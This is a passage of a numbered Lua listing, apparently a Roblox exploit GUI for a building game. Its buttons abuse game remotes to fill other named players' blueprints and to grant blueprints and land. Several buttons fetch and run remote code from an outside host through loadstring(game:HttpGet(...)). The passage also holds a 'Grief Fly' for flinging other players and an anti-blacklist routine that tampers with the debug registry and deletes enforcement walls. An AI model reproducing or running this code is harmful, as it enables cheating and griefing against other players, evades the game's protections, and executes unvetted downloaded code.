  3542. FillSpookyNeon.Size = UDim2.new(0, 150, 0, 20)
  3543. FillSpookyNeon.Font = Enum.Font.SourceSans
  3544. FillSpookyNeon.Text = "SpookyNeon"
  3545. FillSpookyNeon.TextColor3 = Color3.new(0, 0, 0)
  3546. FillSpookyNeon.TextSize = 14
  3547.  
  3548. FillSpookyNeon.MouseButton1Down:connect(function()
  3549. local PlayerName = PaintNameBox.Text
  3550. -- Put Whole Name
  3551. local WoodName = "SpookyNeon"
  3552. local ItsCFrame
  3553. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3554. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3555. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3556. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3557. if v:FindFirstChild("MainCFrame") then
  3558. ItsCFrame = v.MainCFrame.Value
  3559. else
  3560. ItsCFrame = v.PrimaryPart.CFrame
  3561. end
  3562. if v ~= nil then
  3563. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3564. end
  3565. end
  3566. end
  3567. end
  3568. end)
  3569.  
  3570. FillGenericSpecial.Name = "GenericSpecial"
  3571. FillGenericSpecial.Parent = PaintFills
  3572. FillGenericSpecial.BackgroundColor3 = Color3.fromRGB(255, 102, 204)
  3573. FillGenericSpecial.BorderColor3 = Color3.new(0, 0, 0)
  3574. FillGenericSpecial.Position = UDim2.new(0, 3, 0, 417)
  3575. FillGenericSpecial.Size = UDim2.new(0, 150, 0, 20)
  3576. FillGenericSpecial.Font = Enum.Font.SourceSans
  3577. FillGenericSpecial.Text = "Pink"
  3578. FillGenericSpecial.TextColor3 = Color3.new(0, 0, 0)
  3579. FillGenericSpecial.TextSize = 14
  3580.  
  3581. FillGenericSpecial.MouseButton1Down:connect(function()
  3582. local PlayerName = PaintNameBox.Text
  3583. -- Put Whole Name
  3584. local WoodName = "GenericSpecial"
  3585. local ItsCFrame
  3586. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3587. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3588. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3589. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3590. if v:FindFirstChild("MainCFrame") then
  3591. ItsCFrame = v.MainCFrame.Value
  3592. else
  3593. ItsCFrame = v.PrimaryPart.CFrame
  3594. end
  3595. if v ~= nil then
  3596. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3597. end
  3598. end
  3599. end
  3600. end
  3601. end)
  3602.  
  3603. FillFrost.Name = "Frost"
  3604. FillFrost.Parent = PaintFills
  3605. FillFrost.BackgroundColor3 = Color3.fromRGB(175, 221, 255)
  3606. FillFrost.BorderColor3 = Color3.new(0, 0, 0)
  3607. FillFrost.Position = UDim2.new(0, 3, 0, 440)
  3608. FillFrost.Size = UDim2.new(0, 150, 0, 20)
  3609. FillFrost.Font = Enum.Font.SourceSans
  3610. FillFrost.Text = "Frost"
  3611. FillFrost.TextColor3 = Color3.new(0, 0, 0)
  3612. FillFrost.TextSize = 14
  3613.  
  3614. FillFrost.MouseButton1Down:connect(function()
  3615. local PlayerName = PaintNameBox.Text
  3616. -- Put Whole Name
  3617. local WoodName = "Frost"
  3618. local ItsCFrame
  3619. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3620. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3621. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3622. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3623. if v:FindFirstChild("MainCFrame") then
  3624. ItsCFrame = v.MainCFrame.Value
  3625. else
  3626. ItsCFrame = v.PrimaryPart.CFrame
  3627. end
  3628. if v ~= nil then
  3629. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3630. end
  3631. end
  3632. end
  3633. end
  3634. end)
  3635.  
  3636. FillGrey.Name = "Grey"
  3637. FillGrey.Parent = PaintFills
  3638. FillGrey.BackgroundColor3 = Color3.fromRGB(159, 161, 172)
  3639. FillGrey.BorderColor3 = Color3.new(0, 0, 0)
  3640. FillGrey.Position = UDim2.new(0, 3, 0, 463)
  3641. FillGrey.Size = UDim2.new(0, 150, 0, 20)
  3642. FillGrey.Font = Enum.Font.SourceSans
  3643. FillGrey.Text = "Del Prints"
  3644. FillGrey.TextColor3 = Color3.new(0, 0, 0)
  3645. FillGrey.TextSize = 14
  3646.  
  3647. FillGrey.MouseButton1Down:connect(function()
  3648. local PlayerName = PaintNameBox.Text
  3649. -- Put Whole Name
  3650. local WoodName = "Grey"
  3651. local ItsCFrame
  3652. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3653. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3654. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3655. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3656. if v:FindFirstChild("MainCFrame") then
  3657. ItsCFrame = v.MainCFrame.Value
  3658. else
  3659. ItsCFrame = v.PrimaryPart.CFrame
  3660. end
  3661. if v ~= nil then
  3662. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3663. end
  3664. end
  3665. end
  3666. end
  3667. end)
  3668.  
  3669. local BaseFLOOR = Instance.new("TextButton")
  3670.  
  3671. BaseFLOOR.Name = "BaseFLOOR"
  3672. BaseFLOOR.Parent = ArtFrame
  3673. BaseFLOOR.BackgroundColor3 = Color3.new(0, 0, 0)
  3674. BaseFLOOR.BorderColor3 = Color3.new(0, 0, 0)
  3675. BaseFLOOR.Position = UDim2.new(0, 3, 0, 49)
  3676. BaseFLOOR.Size = UDim2.new(0, 165, 0, 20)
  3677. BaseFLOOR.Font = Enum.Font.Fantasy
  3678. BaseFLOOR.FontSize = Enum.FontSize.Size18
  3679. BaseFLOOR.Text = "Base Floor Prints"
  3680. BaseFLOOR.TextColor3 = Color3.new(255, 0, 0)
  3681. BaseFLOOR.TextSize = 15
  3682. BaseFLOOR.MouseButton1Down:connect(function()
  3683. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/BaseFLOOR1.txt',true))()
  3684.  
  3685. end)
  3686.  
  3687. local SingleWalls = Instance.new("TextButton")
  3688.  
  3689. SingleWalls.Name = "SingleWalls"
  3690. SingleWalls.Parent = ArtFrame
  3691. SingleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
  3692. SingleWalls.BorderColor3 = Color3.new(0, 0, 0)
  3693. SingleWalls.Position = UDim2.new(0, 3, 0, 72)
  3694. SingleWalls.Size = UDim2.new(0, 165, 0, 20)
  3695. SingleWalls.Font = Enum.Font.Fantasy
  3696. SingleWalls.FontSize = Enum.FontSize.Size18
  3697. SingleWalls.Text = "Single Wall Prints"
  3698. SingleWalls.TextColor3 = Color3.new(255, 0, 0)
  3699. SingleWalls.TextSize = 15
  3700. SingleWalls.MouseButton1Down:connect(function()
  3701. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/SingeWALLS.txt',true))()
  3702.  
  3703. end)
  3704.  
  3705. local DoubleWalls = Instance.new("TextButton")
  3706.  
  3707. DoubleWalls.Name = "DoubleWalls"
  3708. DoubleWalls.Parent = ArtFrame
  3709. DoubleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
  3710. DoubleWalls.BorderColor3 = Color3.new(0, 0, 0)
  3711. DoubleWalls.Position = UDim2.new(0, 3, 0, 95)
  3712. DoubleWalls.Size = UDim2.new(0, 165, 0, 20)
  3713. DoubleWalls.Font = Enum.Font.Fantasy
  3714. DoubleWalls.FontSize = Enum.FontSize.Size18
  3715. DoubleWalls.Text = "Double Wall Prints"
  3716. DoubleWalls.TextColor3 = Color3.new(255, 0, 0)
  3717. DoubleWalls.TextSize = 15
  3718. DoubleWalls.MouseButton1Down:connect(function()
  3719. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/DoubleWALLS.txt',true))()
  3720.  
  3721. end)
  3722.  
  3723. local TripleWalls = Instance.new("TextButton")
  3724.  
  3725. TripleWalls.Name = "TripleWalls"
  3726. TripleWalls.Parent = ArtFrame
  3727. TripleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
  3728. TripleWalls.BorderColor3 = Color3.new(0, 0, 0)
  3729. TripleWalls.Position = UDim2.new(0, 3, 0, 118)
  3730. TripleWalls.Size = UDim2.new(0, 165, 0, 20)
  3731. TripleWalls.Font = Enum.Font.Fantasy
  3732. TripleWalls.FontSize = Enum.FontSize.Size18
  3733. TripleWalls.Text = "Triple Wall Prints"
  3734. TripleWalls.TextColor3 = Color3.new(255, 0, 0)
  3735. TripleWalls.TextSize = 15
  3736. TripleWalls.MouseButton1Down:connect(function()
  3737. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/TripleWALLS1.txt',true))()
  3738.  
  3739. end)
  3740.  
  3741. local Hoofer = Instance.new("TextButton")
  3742.  
  3743. Hoofer.Name = "Hoofer"
  3744. Hoofer.Parent = ArtFrame
  3745. Hoofer.BackgroundColor3 = Color3.new(0, 0, 0)
  3746. Hoofer.BorderColor3 = Color3.new(0, 0, 0)
  3747. Hoofer.Position = UDim2.new(0, 3, 0, 118)
  3748. Hoofer.Size = UDim2.new(0, 165, 0, 20)
  3749. Hoofer.Font = Enum.Font.Fantasy
  3750. Hoofer.FontSize = Enum.FontSize.Size18
  3751. Hoofer.Text = "Hoofer Art Gui"
  3752. Hoofer.TextColor3 = Color3.new(255, 0, 0)
  3753. Hoofer.TextSize = 15
  3754. Hoofer.MouseButton1Down:connect(function()
  3755. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/hooferb.txt',true))()
  3756.  
  3757. end)
  3758.  
  3759. local Landart = Instance.new("TextButton")
  3760.  
  3761. Landart.Name = "Landart"
  3762. Landart.Parent = ArtFrame
  3763. Landart.BackgroundColor3 = Color3.new(0, 0, 0)
  3764. Landart.BorderColor3 = Color3.new(0, 0, 0)
  3765. Landart.Position = UDim2.new(0, 3, 0, 141)
  3766. Landart.Size = UDim2.new(0, 165, 0, 20)
  3767. Landart.Font = Enum.Font.Fantasy
  3768. Landart.FontSize = Enum.FontSize.Size18
  3769. Landart.Text = "Custom Land Art"
  3770. Landart.TextColor3 = Color3.new(255, 0, 0)
  3771. Landart.TextSize = 15
  3772. Landart.MouseButton1Down:connect(function()
  3773. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/LANDART1.txt',true))()
  3774.  
  3775. end)
  3776.  
  3777. local BluePrints = Instance.new("TextButton")
  3778.  
  3779. BluePrints.Name = "BluePrints"
  3780. BluePrints.Parent = ArtFrame
  3781. BluePrints.BackgroundColor3 = Color3.new(0, 0, 0)
  3782. BluePrints.BorderColor3 = Color3.new(0, 0, 0)
  3783. BluePrints.Position = UDim2.new(0, 3, 0, 164)
  3784. BluePrints.Size = UDim2.new(0, 165, 0, 20)
  3785. BluePrints.Font = Enum.Font.Fantasy
  3786. BluePrints.FontSize = Enum.FontSize.Size18
  3787. BluePrints.Text = "BluePrints"
  3788. BluePrints.TextColor3 = Color3.new(255, 0, 0)
  3789. BluePrints.TextSize = 15
  3790. BluePrints.MouseButton1Down:connect(function()
  3791.  
  3792. for i,v in pairs(game.ReplicatedStorage.Purchasables.Structures.BlueprintStructures:GetChildren()) do
  3793. local clone = v:Clone()
  3794. clone.Parent = game.Players.LocalPlayer.PlayerBlueprints.Blueprints
  3795. end
  3796. end)
  3797.  
  3798.  
  3799. local MaxLand = Instance.new("TextButton")
  3800.  
  3801. MaxLand.Name = "MaxLand"
  3802. MaxLand.Parent = ArtFrame
  3803. MaxLand.BackgroundColor3 = Color3.new(0, 0, 0)
  3804. MaxLand.BorderColor3 = Color3.new(0, 0, 0)
  3805. MaxLand.Position = UDim2.new(0, 3, 0, 187)
  3806. MaxLand.Size = UDim2.new(0, 165, 0, 20)
  3807. MaxLand.Font = Enum.Font.Fantasy
  3808. MaxLand.FontSize = Enum.FontSize.Size18
  3809. MaxLand.Text = "MaxLand"
  3810. MaxLand.TextColor3 = Color3.new(255, 0, 0)
  3811. MaxLand.TextSize = 15
  3812. MaxLand.MouseButton1Down:connect(function()
  3813.  
  3814. for i, v in pairs(game:GetService("Workspace").Properties:GetChildren()) do
  3815. if v:FindFirstChild("Owner") and v.Owner.Value == game.Players.LocalPlayer then
  3816. base = v
  3817. square = v.OriginSquare
  3818. end
  3819. end
  3820. function makebase(pos)
  3821. local Event = game:GetService("ReplicatedStorage").PropertyPurchasing.ClientExpandedProperty
  3822. Event:FireServer(base, pos)
  3823. end
  3824. spos = square.Position
  3825. makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z))
  3826. makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z))
  3827. makebase(CFrame.new(spos.X, spos.Y, spos.Z + 40))
  3828. makebase(CFrame.new(spos.X, spos.Y, spos.Z - 40))
  3829. makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z + 40))
  3830. makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z - 40))
  3831. makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z + 40))
  3832. makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z - 40))
  3833. makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z))
  3834. makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z))
  3835. makebase(CFrame.new(spos.X, spos.Y, spos.Z + 80))
  3836. makebase(CFrame.new(spos.X, spos.Y, spos.Z - 80))
  3837. --Corners--
  3838. makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z + 80))
  3839. makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z - 80))
  3840. makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z + 80))
  3841. makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z - 80))
  3842. --Corners--
  3843. makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z + 80))
  3844. makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z + 80))
  3845. makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z + 40))
  3846. makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z - 40))
  3847. makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z + 40))
  3848. makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z - 40))
  3849. makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z - 80))
  3850. makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z - 80))
  3851.  
  3852. end)
  3853.  
  3854. local WipeBase = Instance.new("TextButton")
  3855.  
  3856. WipeBase.Name = "WipeBase"
  3857. WipeBase.Parent = ArtFrame
  3858. WipeBase.BackgroundColor3 = Color3.new(0, 0, 0)
  3859. WipeBase.BorderColor3 = Color3.new(0, 0, 0)
  3860. WipeBase.Position = UDim2.new(0, 3, 0, 210)
  3861. WipeBase.Size = UDim2.new(0, 165, 0, 20)
  3862. WipeBase.Font = Enum.Font.Fantasy
  3863. WipeBase.FontSize = Enum.FontSize.Size18
  3864. WipeBase.Text = "Wipe Base"
  3865. WipeBase.TextColor3 = Color3.new(255, 0, 0)
  3866. WipeBase.TextSize = 15
  3867. WipeBase.MouseButton1Down:Connect(function()
  3868. plr = game.Players.LocalPlayer.Name
  3869. pmds = game.Workspace.PlayerModels
  3870. PlaceR = game.ReplicatedStorage.Interaction.DestroyStructure
  3871. for i, v in pairs(pmds:GetChildren()) do
  3872. if v:FindFirstChild("Owner") and v.Owner.Value ~= nil and v.Owner.Value == game.Players[plr] and v:FindFirstChild("ItemName") and v:FindFirstChild("Type") and (v.PrimaryPart ~= nil or v:FindFirstChild("MainCFrame")) then
  3873. PlaceR:FireServer(v)
  3874. end
  3875. end
  3876. end)
  3877.  
  3878. WCollide = "Nothing"
  3879.  
  3880. local toolaFrame = Instance.new("Frame")
  3881. local toolamenu = Instance.new("ImageButton")
  3882. local WalkspeedLabel = Instance.new("TextButton")
  3883. local JumpText = Instance.new("TextBox")
  3884. local WalkSpeed = Instance.new("TextLabel")
  3885. local JumpPower = Instance.new("TextButton")
  3886. local AntiBlack = Instance.new("TextButton")
  3887. local GriefFly = Instance.new("TextButton")
  3888. local StopGriefFly = Instance.new("TextButton")
  3889. local Fly = Instance.new("TextButton")
  3890. local PinkWires = Instance.new("TextButton")
  3891. local WaterCollide = Instance.new("TextButton")
  3892. local ClickTP = Instance.new("TextButton")
  3893. local Noclip = Instance.new("TextButton")
  3894. local AntiAFK = Instance.new("TextButton")
  3895. local AntiAFKtime = Instance.new("TextLabel")
  3896. local Fog = Instance.new("TextButton")
  3897. local CARA = Instance.new("TextButton")
  3898. local CARAs = Instance.new("TextBox")
  3899. local RemoveT = Instance.new("TextButton")
  3900. local ReJoinServer = Instance.new("TextButton")
  3901. local Reset = Instance.new("TextButton")
  3902.  
  3903.  
  3904. toolamenu.Name = "toolamenu"
  3905. toolamenu.Parent = Picker
  3906. toolamenu.BackgroundColor3 = Color3.new(1, 1, 1)
  3907. toolamenu.BorderColor3 = Color3.new(0, 0, 0)
  3908. toolamenu.Position = UDim2.new(0, 15, 0,430)
  3909. toolamenu.Size = UDim2.new(0, 80, 0, 80)
  3910. toolamenu.ZIndex = 3
  3911. toolamenu.Image = "rbxassetid://3916428981"
  3912. toolamenu.ScaleType = Enum.ScaleType.Crop
  3913. toolamenu.MouseButton1Click:Connect(function()
  3914. CurrentItem.Image = "rbxassetid://3886256996"
  3915. AIntroImage.Visible = false
  3916. AIntroImage1.Visible = false
  3917.  
  3918. end)
  3919.  
  3920. toolaFrame.Name = "toolaFrame"
  3921. toolaFrame.Parent = MenuFrame
  3922. toolaFrame.BorderSizePixel = 1
  3923. toolaFrame.BackgroundTransparency = 0
  3924. toolaFrame.BorderColor3 = Color3.new(0, 0, 0)
  3925. toolaFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  3926. toolaFrame.Size = UDim2.new(0, 170, 0, 373)
  3927. toolaFrame.Visible = false
  3928.  
  3929. JumpText.Name = "JumpText"
  3930. JumpText.Parent = toolaFrame
  3931. JumpText.BackgroundColor3 = Color3.new(0, 0, 0)
  3932. JumpText.BorderColor3 = Color3.new(0, 0, 0)
  3933. JumpText.Position = UDim2.new(0, 147, 0, 26)
  3934. JumpText.Size = UDim2.new(0, 21, 0, 20)
  3935. JumpText.Font = Enum.Font.Fantasy
  3936. JumpText.FontSize = Enum.FontSize.Size18
  3937. JumpText.Text = "50"
  3938. JumpText.TextColor3 = Color3.new(255, 0, 0)
  3939. JumpText.TextSize = 15
  3940.  
  3941. JumpPower.Name = "JumpPowerLabel"
  3942. JumpPower.Parent = toolaFrame
  3943. JumpPower.BackgroundColor3 = Color3.new(0, 0, 0)
  3944. JumpPower.BorderColor3 = Color3.new(0, 0, 0)
  3945. JumpPower.Position = UDim2.new(0, 3, 0, 26)
  3946. JumpPower.Size = UDim2.new(0, 140, 0, 20)
  3947. JumpPower.Font = Enum.Font.Fantasy
  3948. JumpPower.FontSize = Enum.FontSize.Size18
  3949. JumpPower.Text = "Jump Power"
  3950. JumpPower.TextColor3 = Color3.new(255, 0, 0)
  3951. JumpPower.TextSize = 15
  3952.  
  3953. player = game.Players.LocalPlayer
  3954. Jump = 50
  3955.  
  3956. JumpPower.MouseButton1Down:connect(function()
  3957. Jump = JumpText.Text
  3958. end)
  3959.  
  3960. player.Character.Humanoid.JumpPower = Jump
  3961.  
  3962. player.Character.Humanoid.Changed:connect(function()
  3963. player.Character.Humanoid.JumpPower = Jump
  3964.  
  3965. end)
  3966.  
  3967. WalkspeedLabel.Name = "WalkspeedLabel"
  3968. WalkspeedLabel.Parent = toolaFrame
  3969. WalkspeedLabel.BackgroundColor3 = Color3.new(0, 0, 0)
  3970. WalkspeedLabel.BorderColor3 = Color3.new(0, 0, 0)
  3971. WalkspeedLabel.Position = UDim2.new(0, 3, 0, 3)
  3972. WalkspeedLabel.Size = UDim2.new(0, 140, 0, 20)
  3973. WalkspeedLabel.Font = Enum.Font.Fantasy
  3974. WalkspeedLabel.FontSize = Enum.FontSize.Size18
  3975. WalkspeedLabel.Text = "Walkspeed"
  3976. WalkspeedLabel.TextColor3 = Color3.new(255, 0, 0)
  3977. WalkspeedLabel.TextSize = 15
  3978.  
  3979. WalkSpeed.Name = "WalkSpeed"
  3980. WalkSpeed.Parent = toolaFrame
  3981. WalkSpeed.BackgroundColor3 = Color3.new(0, 0, 0)
  3982. WalkSpeed.BorderColor3 = Color3.new(0, 0, 0)
  3983. WalkSpeed.Position = UDim2.new(0, 147, 0, 3)
  3984. WalkSpeed.Size = UDim2.new(0, 21, 0, 20)
  3985. WalkSpeed.Font = Enum.Font.Fantasy
  3986. WalkSpeed.FontSize = Enum.FontSize.Size18
  3987. WalkSpeed.Text = "V"
  3988. WalkSpeed.TextColor3 = Color3.new(255, 0, 0)
  3989. WalkSpeed.TextSize = 15
  3990.  
  3991. WalkspeedLabel.MouseButton1Down:connect(function()
  3992. local walkspeedplayer = game:GetService("Players").LocalPlayer
  3993. local walkspeedmouse = walkspeedplayer:GetMouse()
  3994.  
  3995. local walkspeedenabled = false
  3996.  
  3997. function x_walkspeed(key)
  3998. if (key == "v") then
  3999. if walkspeedenabled == false then
  4000. _G.WS = 150;
  4001.  
  4002. local Humanoid = game:GetService("Players").LocalPlayer.Character.Humanoid;
  4003. Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
  4004. Humanoid.WalkSpeed = _G.WS;
  4005. end)
  4006. Humanoid.WalkSpeed = _G.WS;
  4007.  
  4008. walkspeedenabled = true
  4009. elseif walkspeedenabled == true then
  4010. _G.WS = 15;
  4011. local Humanoid = game:GetService("Players").LocalPlayer.Character.Humanoid;
  4012. Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
  4013. Humanoid.WalkSpeed = _G.WS;
  4014. end)
  4015. Humanoid.WalkSpeed = _G.WS;
  4016.  
  4017. walkspeedenabled = false
  4018. end
  4019. end
  4020. end
  4021.  
  4022. walkspeedmouse.KeyDown:connect(x_walkspeed)
  4023.  
  4024. end)
  4025.  
  4026. AntiBlack.Name = "AntiBlackLabel"
  4027. AntiBlack.Parent = toolaFrame
  4028. AntiBlack.BackgroundColor3 = Color3.new(0, 0, 0)
  4029. AntiBlack.BorderColor3 = Color3.new(0, 0, 0)
  4030. AntiBlack.Position = UDim2.new(0, 3, 0, 49)
  4031. AntiBlack.Size = UDim2.new(0, 165, 0, 20)
  4032. AntiBlack.Font = Enum.Font.Fantasy
  4033. AntiBlack.FontSize = Enum.FontSize.Size18
  4034. AntiBlack.Text = "Anti Black List (OFF)"
  4035. AntiBlack.TextColor3 = Color3.new(255, 0, 0)
  4036. AntiBlack.TextSize = 15
  4037. AntiBlack.MouseButton1Click:connect(function()
  4038. AntiBlack.TextColor3 = Color3.new(1, 1, 1)
  4039. AntiBlack.BackgroundColor3 = Color3.new(0, 0, 0)
  4040. AntiBlack.Text = "Anti Black List (ON)"
  4041. local plr = game.Players.LocalPlayer
  4042. local cframe
  4043. for i,v in next, workspace:GetDescendants() do
  4044. if v:IsA("SpawnLocation") then
  4045. v.Touched:Connect(function(h)
  4046. if h.Parent == plr.Character and cframe then
  4047. plr.Character:SetPrimaryPartCFrame(cframe)
  4048. end
  4049. end)
  4050. end
  4051. end
  4052.  
  4053. game:GetService("RunService"):BindToRenderStep("NO HACKS",Enum.RenderPriority.Last.Value,function()
  4054. if game.Players.LocalPlayer.Character.PrimaryPart then
  4055. cframe = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
  4056. end
  4057. end)
  4058.  
  4059. for i,v in next, debug.getregistry() do
  4060. if type(v)=='function' and debug.getupvalues(v).lastUpdate then
  4061. debug.setupvalue(v,"lastUpdate",math.huge)
  4062. break
  4063. end
  4064. end
  4065.  
  4066. for i,v in next, workspace.Effects:GetChildren() do
  4067. if v:IsA("BasePart") and v.Name == "BlacklistWall" then
  4068. v:Destroy()
  4069. end
  4070. end
  4071. end)
  4072.  
  4073. GriefFly.Name = "GriefFly"
  4074. GriefFly.Parent = toolaFrame
  4075. GriefFly.BackgroundColor3 = Color3.new(0, 0, 0)
  4076. GriefFly.BorderColor3 = Color3.new(0, 0, 0)
  4077. GriefFly.Position = UDim2.new(0, 3, 0, 72)
  4078. GriefFly.Size = UDim2.new(0, 110, 0, 20)
  4079. GriefFly.Font = Enum.Font.Fantasy
  4080. GriefFly.FontSize = Enum.FontSize.Size18
  4081. GriefFly.Text = "Grief Fly Off "
  4082. GriefFly.TextColor3 = Color3.new(255, 0, 0)
  4083. GriefFly.TextSize = 15
  4084. GriefFly.MouseButton1Click:connect(function()
  4085. GriefFly.Text = "Grief Fly On "
  4086. GriefFly.TextColor3 = Color3.new(1, 1, 1)
  4087. StopGriefFly.Text = "Stop Fly"
  4088. Speed = 2
  4089. Force = 800000
  4090.  
  4091. --Script:
  4092. lplayer = game:GetService("Players").LocalPlayer
  4093. Mouse = lplayer:GetMouse()
  4094. speedfly = Speed
  4095. T = lplayer.Character.HumanoidRootPart
  4096. CONTROL = {F = 0, B = 0, L = 0, R = 0}
  4097. lCONTROL = {F = 0, B = 0, L = 0, R = 0}
  4098.  
  4099. local function fly()
  4100. flying = true
  4101. local BG = Instance.new('BodyGyro', T)
  4102. local BV = Instance.new('BodyVelocity', T)
  4103. BG.P = 9e4
  4104. BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  4105. BG.cframe = T.CFrame
  4106. BV.velocity = Vector3.new(0, 0.1, 0)
  4107. BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
  4108. spawn(function()
  4109. repeat wait()
  4110. lplayer.Character.Humanoid.PlatformStand = true
  4111. if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
  4112. SPEED = 50
  4113. elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
  4114. SPEED = 0
  4115. end
  4116. if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
  4117. BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
  4118. lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
  4119. elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
  4120. BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
  4121. else
  4122. BV.velocity = Vector3.new(0, 0.1, 0)
  4123. end
  4124. BG.cframe = workspace.CurrentCamera.CoordinateFrame
  4125. until not flying
  4126. CONTROL = {F = 0, B = 0, L = 0, R = 0}
  4127. lCONTROL = {F = 0, B = 0, L = 0, R = 0}
  4128. SPEED = 0
  4129. BG:destroy()
  4130. BV:destroy()
  4131. lplayer.Character.Humanoid.PlatformStand = false
  4132. end)
  4133. end
  4134. Mouse.KeyDown:connect(function(KEY)
  4135. if KEY:lower() == 'w' then
  4136. CONTROL.F = speedfly
  4137. elseif KEY:lower() == 's' then
  4138. CONTROL.B = -speedfly
  4139. elseif KEY:lower() == 'a' then
  4140. CONTROL.L = -speedfly
  4141. elseif KEY:lower() == 'd' then
  4142. CONTROL.R = speedfly
  4143. end
  4144. end)
  4145. Mouse.KeyUp:connect(function(KEY)
  4146. if KEY:lower() == 'w' then
  4147. CONTROL.F = 0
  4148. elseif KEY:lower() == 's' then
  4149. CONTROL.B = 0
  4150. elseif KEY:lower() == 'a' then
  4151. CONTROL.L = 0
  4152. elseif KEY:lower() == 'd' then
  4153. CONTROL.R = 0
  4154. end
  4155. end)
  4156. fly()
  4157.  
  4158.  
  4159. -- Made by JackMcJagger15
  4160.  
  4161. power = Force -- change this to make it more or less powerful
  4162.  
  4163. game:GetService('RunService').Stepped:connect(function()
  4164. game.Players.LocalPlayer.Character.Head.CanCollide = false
  4165. game.Players.LocalPlayer.Character.Torso.CanCollide = false
  4166. game.Players.LocalPlayer.Character["Left Leg"].CanCollide = false
  4167. game.Players.LocalPlayer.Character["Right Leg"].CanCollide = false
  4168. end)
  4169.  
  4170. wait(.1)
  4171. local bambam = Instance.new("BodyThrust")
  4172. bambam.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
  4173. bambam.Force = Vector3.new(power,0,power)
  4174. bambam.Location = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
  4175.  
  4176. while wait(0.2) do
  4177. game.Players.LocalPlayer.Character:WaitForChild("Humanoid").Died:connect(function()
  4178. script:Remove()
  4179. end)
  4180. end
  4181. end)
  4182.  
  4183. StopGriefFly.Name = "StopGriefFly"
  4184. StopGriefFly.Parent = toolaFrame
  4185. StopGriefFly.BackgroundColor3 = Color3.new(0, 0, 0)
  4186. StopGriefFly.BorderColor3 = Color3.new(0, 0, 0)
  4187. StopGriefFly.Position = UDim2.new(0, 117, 0, 72)
  4188. StopGriefFly.Size = UDim2.new(0, 51, 0, 20)
  4189. StopGriefFly.Font = Enum.Font.Fantasy
  4190. StopGriefFly.FontSize = Enum.FontSize.Size18
  4191. StopGriefFly.Text = "Stop Fly"
